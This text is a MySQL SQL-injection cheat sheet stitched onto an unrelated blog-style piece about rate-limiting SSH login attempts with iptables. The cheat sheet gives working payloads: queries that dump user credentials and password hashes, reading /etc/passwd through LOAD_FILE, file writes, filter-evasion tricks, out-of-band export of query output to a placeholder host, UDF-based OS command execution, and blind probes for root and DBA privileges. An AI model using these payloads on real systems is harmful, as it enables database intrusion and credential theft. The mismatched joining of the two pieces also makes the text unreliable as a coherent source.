MySQL Cheat Sheet

Version:
SELECT VERSION()
SELECT @@version
SELECT @@version_comment
SELECT @@version_compile_machine
SELECT @@version_compile_os

Directories:
SELECT @@basedir
SELECT @@tmpdir
SELECT @@datadir

Users:
SELECT USER()
SELECT SYSTEM_USER()
SELECT SESSION_USER()
SELECT CURRENT_USER()

Current Database:
SELECT DATABASE()

Concatenation:
SELECT CONCAT('foo','.','bar'); #Returns: foo.bar
SELECT CONCAT_WS(' ','Hello','MySQL','and','hello','world!'); #Returns: Hello MySQL and hello world!

Multi-Concat:

#Stacks the row "foo" from the table "bar" together, using the separator "
".
#Note: This operation can by default only grab 1024 bytes, and do not allow LIMIT.
#The 1024 byte limit is stored in the @@group_concat_max_len variable.

SELECT GROUP_CONCAT(foo SEPARATOR '
') FROM bar

Better-Concat:

#CONCAT() and CONCAT_WS() do not have the same restriction(s) as GROUP_CONCAT().
#Which therefor allows you to concat strings together up to the @@max_allowed_packet size,
#instead of @@group_concat_max_len. The default value for @@max_allowed_packet is currently set to
#1048576 bytes, instead of @@group_concat_max_len's 1024.

SELECT (CONCAT_WS(0x3A,(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 0,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 1,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 2,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 3,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 4,1)))

Change Collation:

SELECT CONVERT('test' USING latin1); #Converts "test" to latin1 from any other collation.
SELECT CONVERT('rawr' USING utf8); #Converts "rawr" to utf8.

Wildcards in SELECT(s):
SELECT foo FROM bar WHERE id LIKE 'test%'; #Returns all COLUMN(s) starting with "test".
SELECT foo FROM bar WHERE id LIKE '%test'; #Returns all COLUMN(s) ending with "test".

Regular Expression in SELECT(s):

#Returns all columns matching the regular expression.

SELECT foo FROM bar WHERE id RLIKE '(moo|rawr).*'

SELECT Without Dublicates:

SELECT DISTINCT foo FROM bar

Counting Columns:
SELECT COUNT(foo) FROM bar; #Returns the amount of rows "foo" from the table "bar".

Get Amount of MySQL Users:
SELECT COUNT(user) FROM mysql.user

Get MySQL Users:
SELECT user FROM mysql.user

Get MySQL User Privileges:
SELECT grantee,privilege_type,is_grantable FROM information_schema.user_privileges

Get MySQL User Privileges on Different Databases:
SELECT grantee,table_schema,privilege_type FROM information_schema.schema_privileges

Get MySQL User Privileges on Different Columns:
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges

Get MySQL User Credentials & Privileges:
SELECT CONCAT_WS(0x2E,host,user,password,Select_priv,Insert_priv,Update_priv,Delete_priv,
Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,
File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,
Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,
Repl_client_priv) FROM mysql.user

Get MySQL DBA Accounts:
SELECT grantee,privilege_type,is_grantable FROM information_schema.user_privileges WHERE privilege_type='SUPER'
SELECT host,user FROM mysql.user WHERE Super_priv='Y'

Get Databases:
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT db FROM mysql.db
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables

Get Databases & Tables:
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns

Get Databases, Tables & Columns:
SELECT table_schema,table_name,column_name FROM information_schema.columns

SELECT A Certain Row:

SELECT foo FROM bar LIMIT 0,1; #Returns row 0.
SELECT foo FROM bar LIMIT 1,1; #Returns row 1.
...
SELECT foo FROM bar LIMIT N,1; #Returns row N.

Benchmark (Heavy Query):

#Performs an MD5 calculation of "1" for 10000 times.

SELECT BENCHMARK(10000,MD5(1))

Sleep:

#Works only in MySQL 5 and above.#Sleeps for 5 seconds, returns 0 on success.

SELECT SLEEP(5)

Conversion (Casting):

SELECT CAST('1' AS UNSIGNED INTEGER); #Returns: 1
SELECT CAST('65' AS CHAR); #Returns: A

Substring:

SELECT SUBSTR('foobar',1,3); #Returns: foo

Hexadecimal Evasion:

SELECT 0x41424344; #Returns: ABCD
SELECT 0x2E; #Returns: .
SELECT 0x3A; #Returns: :

ASCII to Number:

SELECT ASCII('A'); #Returns: 65

Number to ASCII:

SELECT CHAR(65); #Returns: A
SELECT CHAR(89); #Returns: Y
SELECT CHAR(116,101,115,116); #Returns: test

If Statement:

#Returns 1 if the database is running MySQL 5.

SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=53,1,0);

#Returns 1 if the database is running MySQL 4.

SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=52,1,0);

Case Statement:

#Returns 1 if the database is running MySQL 5.

SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=53) THEN 1 ELSE 0 END

#Returns 1 if the database is running MySQL 4.

SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=52) THEN 1 ELSE 0 END

Read File(s):

#Requires you to have the File_priv in mysql.user. On error this statement will return NULL.

SELECT LOAD_FILE('/etc/passwd')

Write File(s):

#You must use quotes on the filename!

SELECT 'Hello World' INTO DUMPFILE '/tmp/test.txt'
SELECT IF((SELECT NULL INTO DUMPFILE '/tmp/test.txt')=NULL,NULL,'Hello World')

Logical Operator(s):

AND, &&; #The AND operator have && as an alternative syntax.

OR, ||;  #The OR operator have || as an alternative syntax.

NOT, !; #The NOT operator have ! as an alternative syntax.

XOR; #The XOR operator got no alternative syntax.

Fuzzy Code Comment:

#Code within /*! are getting executed by MySQL. Additional /*! can be used instead of space as evasion.
SELECT/*!CONCAT_WS(0x3A,user,host,password)/*!FROM/*!mysql.user*/

Comments:

SELECT foo, bar FROM foo.bar-- Single line comment
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar# Single line commentSELECT foo, bar FROM foo.bar;%00 Batched query with additional NULL-byte. It do not work together with PHP though.

A few evasions/methods to use between your MySQL statements:

CR (%0D); #Carrier Return.

LF (%0A); #Line Feed.

Tab (%09); #The Tab-key.

Space (%20); #Most commonly used. You know what a space is.

Multiline Comment (/**/); #Well, as the name says.

Fuzzy Comment (/*!); #Be sure to end your query with (*/)

Parenthesis, ( and ); #Can also be used as separators when used right.

Parenthesis instead of space:

#As said two lines above, the use of parenthesis can be used as a separator.

SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2))

Auto-Casting to Right Collation:

SELECT UNHEX(HEX(USER())); #UNHEX() Converts the hexadecimal value(s) to the current collation.

DNS Requests (OOB (Out-Of-Band)):

#For more information check this.

SELECT YourQuery INTO OUTFILE ‘\\\\www.your.host.com\\?file_to_save_as.txt’

Command Execution:

#If you're on a MySQL 4.X server, it's possible to execute OS commands as long as you're DBA.
#It can be done if you're able to upload a shared object into /usr/lib.#The file extension is .so, and it must contain an "User Defined Function", UDF.
#Get raptor_udf.c, it's the source-code for just that feature.
#Remember to compile it for the right CPU Architecture.
#The CPU architecture can be resolved by this query:

SELECT @@version_machine;

A couple of useful blind queries to fingerprint the database.

All of these return either True or False, as in, you either get a result or you don't.

Version:

SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=53; #MySQL 5
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=52; #MySQL 4

Running as root:

SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SUBSTR(USER(),1,4))=UNHEX(HEX(0x726F6F74)),1,0)=1

Got File_priv:

SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT File_priv FROM mysql.user WHERE
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(USER(),CHAR(64))),CHAR(37)))
LIMIT 0,1)=CHAR(89),1,0)=1

Got Super_priv (Are we DBA):

SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT Super_priv FROM mysql.user WHERE
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(USER(),CHAR(64))),CHAR(37)))
LIMIT 0,1)=CHAR(89),1,0)=1

Can MySQL Sleep:

#This query will return True and should take above 1 second to execute. If it's a success.

SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SLEEP(1))=0,1,0)=1

Can MySQL Benchmark:

SELECT * FROM foo.bar WHERE id=1 AND IF(BENCHMARK(1,MD5(0))=0,1,0)=1

Are we on *NIX:

SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(@@datadir,1,1))=47

Are we on Windows:

SELECT * FROM foo.bar WHERE id=1 AND IF(ASCII(SUBSTR(@@datadir,2,1))=58,1,0)=1

Do a certain column exist:

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE column_name LIKE 'your_column' LIMIT 0,1)>0

Do a certain table exist:

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM information_schema.columns WHERE table_name LIKE 'your_table' LIMIT 0,1)>0

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_name LIKE 'your_table' LIMIT 0,1)>0

Do a certain database exist:

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM information_schema.columns WHERE table_schema LIKE 'your_database' LIMIT 0,1)>0

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM information_schema.tables WHERE table_schema LIKE 'your_database' LIMIT 0,1)>0

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(schema_name) FROM information_schema.schemata WHERE schema_name LIKE 'your_database' LIMIT 0,1)>0

SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(db) FROM mysql.db WHERE db LIKE 'your_database' LIMIT 0,1)>0 

Rate limiting login attempts with iptables

Rate limiting login attempts is an easy way to prevent some of the high speed password guessing attacks. However, it's hard to limit distributed attacks and many run at a low pace over weeks or months. I personally prefer to avoid using automated response tools like fail2ban. And this is for two reasons:

Legitimate users sometimes forget their passwords. I don't want to ban legitimate users from my server, forcing me to manually enable their accounts again (or worse, try to figure out which of the 100/1000 banned IP addresses is theirs).
An IP address is not a good identifier for a user. If you have multiple users behind a single IP (for example, a school that runs NAT on 500 student machines) a single user making a few bad guesses can land you in a world of pain. At the same time the majority of the password guessing attempts I see are distributed.

Therefore I don't consider fail2ban (and similar automated response tools) a very good approach to securing a server against brute force attacks. A simple IPTables rules set to cut down on the log spam (which I have on most of my linux servers) is something like this:

view plainprint?

1. iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set  
2. iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP  

It prevents more than 4 connection attempts from a single IP to ssh in any 60 second period. The rest can be handled by ensuring passwords are reasonably strong. On high security servers forcing the users to use public key authentication is another way to stop guessing.